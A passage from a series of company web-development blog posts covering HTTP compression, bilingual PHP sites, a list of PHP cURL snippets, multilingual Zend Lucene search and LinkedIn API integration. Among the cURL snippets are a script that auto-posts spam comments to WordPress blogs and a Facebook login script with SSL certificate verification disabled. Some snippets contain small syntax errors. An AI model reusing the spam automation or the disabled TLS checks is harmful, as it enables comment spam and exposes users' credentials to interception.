application, based on the value of the Content-type header.\r\n\r\nThe file size benefits of compressing content can be seen easily by looking at example below for HTML file (<b>homepage.html</b>) (Table 1).\r\n\r\n<b>Table 1. /compress/homepage.html</b>\r\n<table border=\"1\" cellpadding=\"0\">\r\n<thead>\r\n<tr>\r\n<td>\r\n<p align=\"center\"><b>Compression</b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Size</b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Compression %</b></p>\r\n</td>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr>\r\n<td>No compression</td>\r\n<td>56,380 bytes</td>\r\n<td>n/a</td>\r\n</tr>\r\n<tr>\r\n<td>Apache 1.3.x/mod_gzip</td>\r\n<td>16,333 bytes</td>\r\n<td>29% of original</td>\r\n</tr>\r\n<tr>\r\n<td>Apache 2.0.x/mod_deflate</td>\r\n<td>19,898 bytes</td>\r\n<td>35% of original</td>\r\n</tr>\r\n<tr>\r\n<td>Apache 2.0.x/mod_deflate [2]</td>\r\n<td>16,337 bytes</td>\r\n<td>29% of original</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\nPlease find the more details on how to setup mod_deflate and mod_gzip <a href=\"http://www.linuxjournal.com/article/6802?page=0,1\" target=\"_blank\">here</a>\r\n\r\n<span style=\"text-decoration: underline;\">35.</span>  <span style=\"text-decoration: underline;\">Blog35:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Website displayed in multi language\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n<h1><strong>How a website can be displayed in more than one language?</strong></h1>\r\nIdeamine 7 is project where the content on the website can be displayed in English or in Russian depending upon the language chosen by the user.\r\n\r\n<b>Below are the steps on how it is done</b>\r\n\r\nCreate a .po file\r\n\r\nUsing the poEdit tool you can parse the .po file to create the .mo file\r\n\r\nIn the .po file you need to mention the id and the value\r\n\r\nIf the site is needed in two different language then you need to have two .po files.Which have the same id but different values\r\n\r\n<i><span style=\"text-decoration: underline;\">Below is an example where the id is the same but value is mentioned in English and in Russian </span></i>\r\n\r\n<span style=\"text-decoration: underline;\">Value in English </span>\r\n\r\nmsgid \"label_please_enter_first_name\"\r\n\r\nmsgstr \"Please enter first name\"\r\n\r\n<span style=\"text-decoration: underline;\">Value in Russsian</span>\r\n\r\nmsgid \"label_please_enter_first_name\"\r\n\r\nmsgstr \"Пожалуйста, введите имя\"\r\n\r\nUsing phptal in HTML you can call this id, which is replaced by the value that you give in the .mo file\r\n\r\n<i><span style=\"text-decoration: underline;\">Below is an example on how you call this id</span></i>\r\n\r\n${php: this.translate(label_please_enter_first_name \')}\r\n\r\nIn ideamine 7 we have created two .po files , one for English and one for Russian\r\n\r\nIn Ideamin7 we have two login forms on the home page. One in English and one in Russian . Depending upon the form used, a session variable is set to that particular language and  the site is displayed in that particular language.\r\n\r\nDepending upon the value of the session variable, that particular mo file is called in in the translator.php\r\n\r\nIf the user wants to switch the language he can do so by clicking on the preferred language in the dropdown which is provided  at the top on every page.Doing so will change the value of the session variable to that particular language.\r\n\r\n<span style=\"text-decoration: underline;\">36.</span>  <span style=\"text-decoration: underline;\">Blog36:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Awesome things to do with cURL\r\n\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\ncURL, and its PHP extension libcURL, are tools which can be used to simulate a web browser. In fact, it can for example, submit forms.\r\n\r\n&nbsp;\r\n\r\n<b>1 – Update your Facebook status</b>\r\n\r\nWanna update your facebook status, but don’t want to go to facebook.com, login, and finally being able to update your status? Simply save the following code on your server, define the variables, and voilÃ !\r\n\r\n&lt;?PHP\r\n\r\n/*******************************\r\n\r\n*       Facebook Status Updater\r\n\r\n*       Christian Flickinger\r\n\r\n*       http://nexdot.net/blog\r\n\r\n*       April 20, 2007\r\n\r\n*******************************/\r\n\r\n&nbsp;\r\n\r\n$status = \'YOUR_STATUS\';\r\n\r\n$first_name = \'YOUR_FIRST_NAME\';\r\n\r\n$login_email = \'YOUR_LOGIN_EMAIL\';\r\n\r\n$login_pass = \'YOUR_PASSWORD\';\r\n\r\n&nbsp;\r\n\r\n$ch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \'https://login.facebook.com/login.php?m&amp;amp;next=http%3A%2F%2Fm.facebook.com%2Fhome.php\');\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS,\'email=\'.urlencode($login_email).\'&amp;pass=\'.urlencode($login_pass).\'&amp;login=Login\');\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_HEADER, 0);\r\n\r\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\r\ncurl_setopt($ch, CURLOPT_COOKIEJAR, \"my_cookies.txt\");\r\n\r\ncurl_setopt($ch, CURLOPT_COOKIEFILE, \"my_cookies.txt\");\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_USERAGENT, \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\");\r\n\r\ncurl_exec($ch);\r\n\r\n&nbsp;\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 0);\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \'http://m.facebook.com/home.php\');\r\n\r\n$page = curl_exec($ch);\r\n\r\n&nbsp;\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 1);\r\n\r\npreg_match(\'/name=\"post_form_id\" value=\"(.*)\" \\/&gt;\'.ucfirst($first_name).\'/\', $page, $form_id);\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS,\'post_form_id=\'.$form_id[1].\'&amp;status=\'.urlencode($status).\'&amp;update=Update\');\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \'http://m.facebook.com/home.php\');\r\n\r\ncurl_exec($ch);\r\n\r\n?&gt;\r\n\r\n<b>2 – Get download speed of your webserver</b>\r\n\r\nDo you ever wanted to know the exact download speed of your webserver (or any other?) If yes, you’ll love that code. You just have to initialize the $url variable with any resources from the webserver (images, pdf, etc), place the file on your server and point your browser to it. The output will be a full report of download speed.\r\n\r\n&lt;?php error_reporting(E_ALL | E_STRICT);\r\n\r\n&nbsp;\r\n\r\n// Initialize cURL with given url\r\n\r\n$url = \'http://download.bethere.co.uk/images/61859740_3c0c5dbc30_o.jpg\';\r\n\r\n$ch = curl_init($url);\r\n\r\n&nbsp;\r\n\r\ncurl_setopt($ch, CURLOPT_HEADER, 0);\r\n\r\ncurl_setopt($ch, CURLOPT_USERAGENT, \'Sitepoint Examples (thread 581410; http://www.sitepoint.com/forums/showthread.php?t=581410)\');\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);\r\n\r\ncurl_setopt($ch, CURLOPT_TIMEOUT, 60);\r\n\r\n&nbsp;\r\n\r\nset_time_limit(65);\r\n\r\n&nbsp;\r\n\r\n$execute = curl_exec($ch);\r\n\r\n$info = curl_getinfo($ch);\r\n\r\n&nbsp;\r\n\r\n// Time spent downloading, I think\r\n\r\n$time = $info[\'total_time\']\r\n\r\n- $info[\'namelookup_time\']\r\n\r\n- $info[\'connect_time\']\r\n\r\n- $info[\'pretransfer_time\']\r\n\r\n- $info[\'starttransfer_time\']\r\n\r\n- $info[\'redirect_time\'];\r\n\r\n&nbsp;\r\n\r\n// Echo friendly messages\r\n\r\nheader(\'Content-Type: text/plain\');\r\n\r\nprintf(\"Downloaded %d bytes in %0.4f seconds.\\n\", $info[\'size_download\'], $time);\r\n\r\nprintf(\"Which is %0.4f mbps\\n\", $info[\'size_download\'] * 8 / $time / 1024 / 1024);\r\n\r\nprintf(\"CURL said %0.4f mbps\\n\", $info[\'speed_download\'] * 8 / 1024 / 1024);\r\n\r\n&nbsp;\r\n\r\necho \"\\n\\ncurl_getinfo() said:\\n\", str_repeat(\'-\', 31 + strlen($url)), \"\\n\";\r\n\r\nforeach ($info as $label =&gt; $value)\r\n\r\n{\r\n\r\nprintf(\"%-30s %s\\n\", $label, $value);\r\n\r\n}\r\n\r\n?&gt;\r\n\r\n<b>3 – Myspace login using cURL</b>\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\nfunction login( $data, $useragent = \'Mozilla 4.01\', $proxy = false ) {\r\n\r\n$ch = curl_init();\r\n\r\n$hash = crc32( $data[\'email\'].$data[\'pass\'] );\r\n\r\n$hash = sprintf( \"%u\", $hash );\r\n\r\n$randnum = $hash.rand( 0, 9999999 );\r\n\r\nif( $proxy ) curl_setopt( $ch, CURLOPT_PROXY, $proxy );\r\n\r\ncurl_setopt( $ch, CURLOPT_COOKIEJAR, \'/tmp/cookiejar-\'.$randnum );\r\n\r\ncurl_setopt( $ch, CURLOPT_COOKIEFILE, \'/tmp/cookiejar-\'.$randnum );\r\n\r\ncurl_setopt( $ch, CURLOPT_USERAGENT, $useragent );\r\n\r\ncurl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );\r\n\r\ncurl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 0);\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, \'http://www.myspace.com\' );\r\n\r\n$page = curl_exec( $ch );\r\n\r\npreg_match( \'/MyToken=(.+?)\"/i\', $page, $token );\r\n\r\nif( $token[1] ) {\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, \'http://login.myspace.com/index.cfm?fuseaction=login.process&amp;MyToken=\'.$token[1] );\r\n\r\ncurl_setopt( $ch, CURLOPT_REFERER, \'http://www.myspace.com\' );\r\n\r\ncurl_setopt( $ch, CURLOPT_HTTPHEADER, Array( \'Content-Type: application/x-www-form-urlencoded\' ) );\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 1 );\r\n\r\n$postfields = \'NextPage=&amp;email=\'.urlencode( $data[\'mail\'] ).\'&amp;password=\'.urlencode( $data[\'pass\'] ).\'&amp;loginbutton.x=&amp;loginbutton.y=\';\r\n\r\ncurl_setopt( $ch, CURLOPT_POSTFIELDS, $postfields );\r\n\r\n$page = curl_exec( $ch );\r\n\r\nif( strpos( $page, \'SignOut\' ) !== false ) {\r\n\r\nreturn $randnum;\r\n\r\n}\r\n\r\nelse {\r\n\r\npreg_match( \'/MyToken=(.+?)\"/i\', $page, $token );\r\n\r\npreg_match( \'/replace\\(\"([^\\\"]+)\"/\', $page, $redirpage );\r\n\r\nif( $token[1] ) {\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 0 );\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, \'http://home.myspace.com/index.cfm?&amp;fuseaction=user&amp;Mytoken=\'.$token[1] );\r\n\r\n$page = curl_exec( $ch );\r\n\r\ncurl_close( $ch );\r\n\r\nif( strpos( $page, \'SignOut\' ) !== false ) {\r\n\r\nreturn $randnum;\r\n\r\n}\r\n\r\n}\r\n\r\nelseif( $redirpage[1] ) {\r\n\r\ncurl_setopt( $ch, CURLOPT_REFERER, \'http://login.myspace.com/index.cfm?fuseaction=login.process&amp;MyToken=\'.$token[1] );\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, $redirpage[1] );\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 0 );\r\n\r\n$page = curl_exec( $ch );\r\n\r\ncurl_close( $ch );\r\n\r\nif( strpos( $page, \'SignOut\' ) !== false ) {\r\n\r\nreturn $randnum;\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\nreturn false;\r\n\r\n}\r\n\r\n?&gt;\r\n\r\n<b>4 – Publish a post on your WordPress blog, using cURL</b>\r\nThis function can post on your WordPress blog. You don’t need to login to your WP dashboard etc.\r\nThough, you must activate the XMLRPC posting option in your WordPress blog. If this option isn’t activated, the code will not be able to insert anything into WordPress database. Another thing, make sure the XMLRPC functions are activated on your php.ini file.\r\n\r\nfunction wpPostXMLRPC($title,$body,$rpcurl,$username,$password,$category,$keywords=\'\',$encoding=\'UTF-8\')\r\n\r\n{\r\n\r\n$title = htmlentities($title,ENT_NOQUOTES,$encoding);\r\n\r\n$keywords = htmlentities($keywords,ENT_NOQUOTES,$encoding);\r\n\r\n&nbsp;\r\n\r\n$content = array(\r\n\r\n\'title\'=&gt;$title,\r\n\r\n\'description\'=&gt;$body,\r\n\r\n\'mt_allow_comments\'=&gt;0,  // 1 to allow comments\r\n\r\n\'mt_allow_pings\'=&gt;0,  // 1 to allow trackbacks\r\n\r\n\'post_type\'=&gt;\'post\',\r\n\r\n\'mt_keywords\'=&gt;$keywords,\r\n\r\n\'categories\'=&gt;array($category)\r\n\r\n);\r\n\r\n$params = array(0,$username,$password,$content,true);\r\n\r\n$request = xmlrpc_encode_request(\'metaWeblog.newPost\',$params);\r\n\r\n$ch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS, $request);\r\n\r\ncurl_setopt($ch, CURLOPT_URL, $rpcurl);\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_TIMEOUT, 1);\r\n\r\n$results = curl_exec($ch);\r\n\r\ncurl_close($ch);\r\n\r\nreturn $results;\r\n\r\n?&gt;\r\n\r\n<b>5 – Test the existence of a given url</b>\r\n\r\nIn fact, <i>it is basic</i>, but it is also very useful, especially when you have to work with external resources.\r\n\r\n&lt;?php\r\n\r\n$ch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \"http://www.jellyandcustard.com/\");\r\n\r\ncurl_setopt($ch, CURLOPT_HEADER, true);\r\n\r\ncurl_setopt($ch, CURLOPT_NOBODY, true);\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\r\n$data = curl_exec($ch);\r\n\r\ncurl_close($ch)\r\n\r\necho $data;\r\n\r\n?&gt;\r\n\r\n<b>6 – Post comments on WordPress blogs</b>\r\n\r\n&lt;?php\r\n\r\n$postfields = array();\r\n\r\n$postfields[\"action\"] = \"submit\";\r\n\r\n$postfields[\"author\"] = \"Spammer\";\r\n\r\n$postfields[\"email\"] = \"spammer@spam.com\";\r\n\r\n$postfields[\"url\"] = \"http://www.iamaspammer.com/\";\r\n\r\n$postfields[\"comment\"] = \"I am a stupid spammer.\";\r\n\r\n$postfields[\"comment_post_ID\"] = \"123\";\r\n\r\n$postfields[\"_wp_unfiltered_html_comment\"] = \"0d870b294b\";\r\n\r\n//Url of the form submission\r\n\r\n$url = \"http://www.ablogthatdoesntexist.com/blog/suggerer_site.php?action=meta_pass&amp;id_cat=0\";\r\n\r\n$useragent = \"Mozilla/5.0\";\r\n\r\n$referer = $url;\r\n\r\n&nbsp;\r\n\r\n//Initialize CURL session\r\n\r\n$ch = curl_init($url);\r\n\r\n//CURL options\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 1);\r\n\r\n//We post $postfields data\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);\r\n\r\n//We define an useragent (Mozilla/5.0)\r\n\r\ncurl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n\r\n//We define a refferer ($url)\r\n\r\ncurl_setopt($ch, CURLOPT_REFERER, $referer);\r\n\r\n//We get the result page in a string\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n//We exits CURL\r\n\r\n$result = curl_exec($ch);\r\n\r\ncurl_close($ch);\r\n\r\n&nbsp;\r\n\r\n//Finally, we display the result\r\n\r\necho $result;\r\n\r\n?&gt;\r\n\r\n<b>7 – Follow your Adsense earnings with an RSS reader</b>\r\n\r\nMost bloggers uses Adsense on their blog and (try to) make money with Google. This excellent snippet allows you to follow your Adsense earnings…with a RSS reader! Definitely awesome.\r\n<i>(Script too big to be displayed on the blog, click </i><a href=\"http://planetozh.com/download/rss-adsense.txt\"><i>here to preview</i></a><i>)</i>\r\n<b>Source:</b> <a href=\"http://planetozh.com/blog/my-projects/track-adsense-earnings-in-rss-feed/\">http://planetozh.com/blog/my-projects/track-adsense-earnings-in-rss-feed/</a>\r\n\r\n&nbsp;\r\n\r\n<b>8 – Get feed subscribers count in full text</b>\r\n\r\nIf you’re a blogger, you’re probably using the popular FeedBurner service, which allo you to know how many people grabbed your rss feed. Feedburner have a chicklet to proudly display your subscriber count on your blog.\r\n\r\n//get cool feedburner count\r\n\r\n$whaturl=\"https://feedburner.google.com/api/awareness/1.0/GetFeedData?uri=feedburner-id\";\r\n\r\n&nbsp;\r\n\r\n//Initialize the Curl session\r\n\r\n$ch = curl_init();\r\n\r\n&nbsp;\r\n\r\n//Set curl to return the data instead of printing it to the browser.\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n&nbsp;\r\n\r\n//Set the URL\r\n\r\ncurl_setopt($ch, CURLOPT_URL, $whaturl);\r\n\r\n&nbsp;\r\n\r\n//Execute the fetch\r\n\r\n$data = curl_exec($ch);\r\n\r\n&nbsp;\r\n\r\n//Close the connection\r\n\r\ncurl_close($ch);\r\n\r\n$xml = new SimpleXMLElement($data);\r\n\r\n$fb = $xml-&gt;feed-&gt;entry[\'circulation\'];\r\n\r\n//end get cool feedburner count\r\n\r\n<b>Source:</b> <a href=\"http://www.hongkiat.com/blog/display-google-feed-subscriber-count-in-text/\">http://www.hongkiat.com/blog/display-google-feed-subscriber-count-in-text/</a>\r\n\r\n&nbsp;\r\n\r\n<b>9 – Get the content of a webpage into a PHP variable</b>\r\n\r\nThis is a very basic thing to do with cURL, but with endless possibilities. Once you have a webpage in a PHP variable, you can for example, retrieve a particular information on the page to use on your own website.\r\n\r\n&lt;?php\r\n\r\nch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \"example.com\");\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n$output = curl_exec($ch);\r\n\r\ncurl_close($ch);  ?&gt;\r\n\r\n<b>10 – Post to Twitter using PHP and cURL</b>\r\n\r\nTwitter is very popular since some time now, and you probably already have an account there. (<a href=\"http://www.twitter.com/catswhocode\">We have one too</a>) So, what about using cURL to tweet from your server without connectiong to Twitter?\r\n\r\n&lt;?php\r\n\r\n// Set username and password\r\n\r\n$username = \'username\';\r\n\r\n$password = \'password\';\r\n\r\n// The message you want to send\r\n\r\n$message = \'is twittering from php using curl\';\r\n\r\n// The twitter API address\r\n\r\n$url = \'http://twitter.com/statuses/update.xml\';\r\n\r\n// Alternative JSON version\r\n\r\n// $url = \'http://twitter.com/statuses/update.json\';\r\n\r\n// Set up and execute the curl process\r\n\r\n$curl_handle = curl_init();\r\n\r\ncurl_setopt($curl_handle, CURLOPT_URL, \"$url\");\r\n\r\ncurl_setopt($curl_handle, CURLOPT_CONNECTTIMEOUT, 2);\r\n\r\ncurl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($curl_handle, CURLOPT_POST, 1);\r\n\r\ncurl_setopt($curl_handle, CURLOPT_POSTFIELDS, \"status=$message\");\r\n\r\ncurl_setopt($curl_handle, CURLOPT_USERPWD, \"$username:$password\");\r\n\r\n$buffer = curl_exec($curl_handle);\r\n\r\ncurl_close($curl_handle);\r\n\r\n// check for success or failure\r\n\r\nif (empty($buffer)) {\r\n\r\necho \'message\';\r\n\r\n} else {\r\n\r\necho \'success\';\r\n\r\n}\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Prevent js and css files from being cached</b>\r\n\r\nBy default, external files such as javascript and css are cached by the browser. If you want to prevent this from caching, simply use this easy tip:\r\n\r\n&lt;link href=\"/stylesheet.css?&lt;?php echo time(); ?&gt;\" rel=\"stylesheet\" type=\"text/css\" /&gt;\r\n\r\nThe result will look like this:\r\n\r\n&lt;link href=\"/stylesheet.css?1234567890\" rel=\"stylesheet\" type=\"text/css\" /&gt;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Test if a password is strong</b>\r\n\r\nWeak passwords are one of the quickest ways to get hacked. The following regexp will make sure that:\r\n\r\nPasswords will contain at least (1) upper case letter\r\n\r\nPasswords will contain at least (1) lower case letter\r\n\r\nPasswords will contain at least (1) number or special character\r\n\r\nPasswords will contain at least (8) characters in length\r\n\r\nPassword maximum length should not be arbitrarily limited\r\n\r\n(?=^.{8,}$)((?=.*\\d)|(?=.*\\W+))(?![.\\n])(?=.*[A-Z])(?=.*[a-z]).*$\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Remove URLs from string</b>\r\n\r\nWhen I see the amount of URLs people try to leave in my blog comments to get traffic and/or backlinks, I think I should definitely give a go to this snippet!\r\n\r\n$string = preg_replace(\'/\\b(https?|ftp|file):\\/\\/[-A-Z0-9+&amp;@#\\/%?=~_|$!:,.;]*[A-Z0-9+&amp;@#\\/%=~_|$]/i\', \'\', $string);\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">37.</span>  <span style=\"text-decoration: underline;\">Blog37:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Zend Lucene Search for Multi Language\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n<h1>Seatch Implementation for MultiLanguages Using Zend Lucene</h1>\r\nI have a problem with searching Russian strings,   with  Zend Search Lucene. Here is my actual code:\r\n\r\n<strong> ///Before </strong>\r\n\r\n// Create index\r\n$index = Zend_Search_Lucene::create(\'data/index\');\r\n$doc = new Zend_Search_Lucene_Document();\r\n$doc-&gt;addField(Zend_Search_Lucene_Field::Text(\'samplefield\', \'русский\r\nтекст; english text\'));\r\n$index-&gt;addDocument($doc);\r\n$index-&gt;commit();\r\n\r\nThe problem here is default analyzer works only with ASCII Text.\r\nThat\'s so because mbstring PHP extension is not included into PHP installation by default and iconv() doesn\'t have necessary functionality.\r\n\r\nYou should use special UTF-8 analyzers to work with non-ASCII text which can\'t be transliterated by iconv()\r\n\r\n///Add this line extra to replace default analyzer with Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8. It looks like the analyzer you are using destroys the non-ASCII characters\r\n\r\nZend_Search_Lucene_Analysis_Analyzer::setDefault(\r\nnew Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8 ());\r\n\r\n<strong>//After</strong>\r\n// Create index\r\n$index = Zend_Search_Lucene::create(\'data/index\');\r\n$doc = new Zend_Search_Lucene_Document();\r\n$doc-&gt;addField(Zend_Search_Lucene_Field::Text(\'samplefield\',\r\n\'русский текст; english text\',\r\n\'utf-8\'));\r\n$index-&gt;addDocument($doc); $index-&gt;commit();\r\n\r\nThis needs to be done at the time of creating index files.\r\n\r\n&nbsp;\r\n\r\nWhile indexing database columns we need to execute my sql query .Before executing mysql_query we need to add mysql_query(\"SET NAMES \'utf8\'\").\r\n\r\nmysql_query(\"SET NAMES \'utf8\'\");\r\n\r\n$contents = mysql_query($query)\r\n\r\nThis will inform mysql that all incoming data are UTF-8, it will convert them into table/column encoding. Same will happen when mysql sends you the data back - they will be converted into UTF-8. You will also have to assure that you set the content-type response header to indicate the UTF-8 encoding of the pages.\r\n<h1><strong>///Searching   </strong></h1>\r\nThe same Zend_Search_Lucene_Analysis_Analyzer we need to set as default analyzer before searching also.\r\n\r\n<strong>////Before</strong>\r\n\r\n// Query the index:\r\n$queryStr = \'english\';\r\n$query = Zend_Search_Lucene_Search_QueryParser::parse($queryStr, \'utf-8\');\r\n$hits = $index-&gt;find($query);\r\nforeach ($hits as $hit) {\r\n/*@var $hit Zend_Search_Lucene*/\r\n$doc = $hit-&gt;getDocument();\r\necho $doc-&gt;getField(\'samplefield\')-&gt;value, PHP_EOL;\r\n}\r\n\r\n<strong>////After</strong>\r\nZend_Search_Lucene_Analysis_Analyzer::setDefault(\r\nnew Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8_CaseInsensitive ());\r\n\r\n// Open index\r\n$index = Zend_Search_Lucene::open(\'data/index\');\r\n...\r\n\r\nZend_Search_Lucene_Search_QueryParser::setDefaultEncoding(\'utf-8\');\r\nforeach ($index-&gt;find($query) as $hit) {\r\necho $hit-&gt;samplefield, PHP_EOL;\r\n}\r\n<h1>UTF-8 compatible text analyzers</h1>\r\nZend_Search_Lucene also contains a set of UTF-8 compatible analyzers: Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8Num, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8_CaseInsensitive, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8Num_CaseInsensitive.\r\n\r\n<b>Any of this analyzers can be enabled with the code like this: </b>\r\n\r\nZend_Search_Lucene_Analysis_Analyzer::setDefault(<b>new</b> Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8());\r\n\r\n<b>Warning</b>\r\n\r\nUTF-8 compatible analyzers were improved in Zend Framework 1.5. Early versions of analyzers assumed all non-ascii characters are letters. New analyzers implementation has more accurate behavior.\r\n\r\nThis may need you to re-build index to have data and search queries tokenized in the same way, otherwise search engine may return wrong result sets.\r\n\r\n<span style=\"text-decoration: underline;\">38.</span>  <span style=\"text-decoration: underline;\">Blog38:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Integration of LinkedIn API\r\n\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\n<b>Integration of LinkedIn API</b>\r\n\r\nThe purpose of this article is how to integrate LinkedIn API in our applications. I covered some of the topics like showing the LinkedIn network people belongs to a company or industry and showing your LinkedIn first degree/second degree connection friends in our application and sending message to your LinkedIn friends.\r\n\r\nLinkedIn API uses OAuth as its authentication method. OAuth is a standard for negotiating developer authorization and granting access on behalf of specific members to perform API requests. One of OAuth\'s benefits is the availability of many third party and open source libraries, allowing developers to authenticate with LinkedIn quickly and in a similar manner to how they authenticate with services such as Twitter, Google, Yahoo, and Netflix.\r\n<b>OAuth Overview</b>\r\n\r\nThe below is a high-level architectural diagram of OAuth, and provides the specific settings for using it with the LinkedIn API.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>The OAuth Flow</b><b></b>\r\n\r\nThe developer (or the \"consumer\") requests an API (or consumer) key from LinkedIn (or the \"provider\")\r\n\r\nA. When your application needs to authenticate the member (or the \"user\"), your application makes a call to LinkedIn to ask for a request token\r\n\r\nB. LinkedIn replies with a request token. Request tokens are used to ask for user approval to the API.\r\n\r\nC. Your application redirects the member to LinkedIn to sign-in and authorize your application to make API calls on their behalf. Developer provides LinkedIn with a URL where they should send them afterward (or the \"callback\")\r\n\r\n&nbsp;\r\n\r\nD. If the member agrees, LinkedIn returns them to the location specified in the callback\r\n\r\nE. Your application then makes another OAuth call to LinkedIn to retrieve an access token for the member\r\n\r\nF. LinkedIn returns an access token, which has two parts: the oauth_token and oauth_token_secret.\r\n\r\nG. After retrieving the access token, you can make API calls, signing them with the consumer key and access token\r\n\r\nFor implementing in your application your must have the Api Key and Secret Key for your application. So go to <a href=\"https://www.linkedin.com/secure/developer\" target=\"_blank\">https://www.linkedin.com/secure/developer</a> and click <b>Add New Application</b> to get them.\r\n\r\n<b>People Search API</b><b></b>\r\n\r\nThe People Search API returns information about people. It lets you implement most of what shows up when you do a search for \"People\" in the top right box on LinkedIn.com.\r\n\r\nAPI Call method:\r\n\r\n<a href=\"http://developer.linkedin.com/docs/DOC-1191\">http://api.linkedin.com/v1/people-search? keywords=<i>[space delimited keywords]</i>&amp; first-name=<i>[first name]</i>&amp; last-name=<i>[last name]</i>&amp; company-name=<i>[company name]</i>&amp; current-company=<i>[true|false]</i>&amp; title=<i>[title]</i>&amp; current-title=<i>[true|false]</i>&amp; school-name=<i>[school name]</i>&amp; current-school=<i>[true|false]</i>&amp; country-code=<i>[country code]</i>&amp; postal-code=<i>[postal code]</i>&amp; distance=<i>[miles]</i>&amp; start=<i>[number]</i>&amp; count=<i>[1-25]</i>&amp;  facet=<i>[facet code, values]</i>&amp; facets=<i>[facet codes]</i>&amp;  sort=<i>[connections|recommenders|distance|relevance]</i></a>\r\n\r\n&nbsp;\r\n\r\nUse the People Search API to find people using keywords, company, name, or other criteria. It returns a list of matching member profiles. Each entry can contain much of the information available on the person\'s member profile page.\r\n\r\nUse Field Selectors to explicitly enumerate the exact fields you want. This ensures the call returns in the least amount of time.\r\n\r\nAs a starting point, the People API default looked like this: <b>/people-search:(people:(id,first-name,last-name,headline,location:(name,country:(code),postal-code),industry,num-recommenders,connections,summary,specialties,interests,honors,positions,educations,member-url-resources,api-standard-profile-request,site-standard-profile-request,public-profile-url))?query</b>\r\n\r\nThe API can also return facets. Facets provide you with data about the collection of people, such as where they work, are located, or what schools they attended. You can then use this data to make a new API call that further refines your original request. This is similar to clicking the buttons on the left-hand side of the 